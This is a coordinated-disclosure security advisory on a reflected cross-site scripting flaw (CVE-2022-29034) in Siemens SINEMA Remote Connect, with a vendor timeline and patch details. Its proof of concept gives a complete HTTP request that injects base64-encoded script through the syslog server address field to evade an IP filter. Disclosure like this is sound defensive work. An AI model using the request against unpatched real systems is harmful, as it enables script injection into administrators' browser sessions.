SEC Consult Vulnerability Lab Security Advisory < 20220614-0 > ======================================================================= title: Reflected Cross Site Scripting product: SIEMENS-SINEMA Remote Connect vulnerable version: <=V3.0.1.0-01.01.00.02 fixed version: V3.1.0 CVE number: CVE-2022-29034 impact: medium homepage: https://siemens.com found: 2022-03-01 by: S. Robertz (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Siemens is a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers. By combining the real and the digital worlds, we empower our customers to transform their industries and markets, helping them to transform the everyday for billions of people." "SINEMA Remote Connect is the management platform for remote networks. It is a server application that enables the simple management of tunnel connections (VPN) between headquarters, service technicians, and installed machines or plants." Source: https://www.siemens.com Source: https://new.siemens.com/global/en/products/automation/industrial-communication/industrial-remote-communication/remote-networks/sinema-remote-connect-access-service.html Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Reflected Cross Site Scripting (CVE-2022-29034) The application contains a reflected cross-site-scripting vulnerability that can be used to execute JavaScript code in the victim's browser. Proof of concept: ----------------- 1) Reflected Cross Site Scripting (CVE-2022-29034) The error occurs when setting the syslog server to an illegal IP address. An error message will pop up and will reflect the supplied IP address. However, the popup message does not use the proper JQuery method, and thus allows to inject JavaScript code. Note that dots can not be used in the JavaScript payload, as they will get filtered by the IP parser that runs beforehand. This was circumvented by supplying the JavaScript code in base64. Following request can be used to trigger the XSS: POST /services/syslog_client_settings HTTP/1.1 Host: $host Cookie: sessionid=708xmctjzk39og596jp4q4r1udfom4l5; csrftoken=sP8NzwJozla1k18xrRzsXiY0zq16IyBddtlDA1C5BC1Orf0oGcqUPr2bpUv1VGLu Content-Length: 153 X-Requested-With: XMLHttpRequest X-Csrftoken: U5AQMbPh3JTcdfdBkgIvaLtoitpS7jUVFJNGNGIY50KZkt5szBzX2Uxz8XTNkr4c Referer: https://$host/services/syslog_client_settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close address=127.0.0.1.<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script>&port=1234&pr otocol=tcp&client_authentication=false&certificate=62&mode= Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: * V3.0.1.0-01.01.00.02 Vendor contact timeline: ------------------------ 2022-04-01: Sending advisory via productcert@siemens.com 2022-04-01: Issue tracked by Siemens under case #29947 2022-04-19: Siemens confirms vulnerability. Patch available mid May. Coordinated advisory release date for 2022-06-14. 2022-06-07: Asking for fixed versions & CVE numbers. 2022-06-14: Coordinated advisory release. Solution: --------- Version V3.1.0 fixes our identified issues as well as other security vulnerabilities according to the vendor. The firmware can be downloaded here: https://support.industry.siemens.com/cs/ww/en/view/109811169/ The vendor published a security advisory as well: https://cert-portal.siemens.com/productcert/html/ssa-484086.html Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Robertz / @2022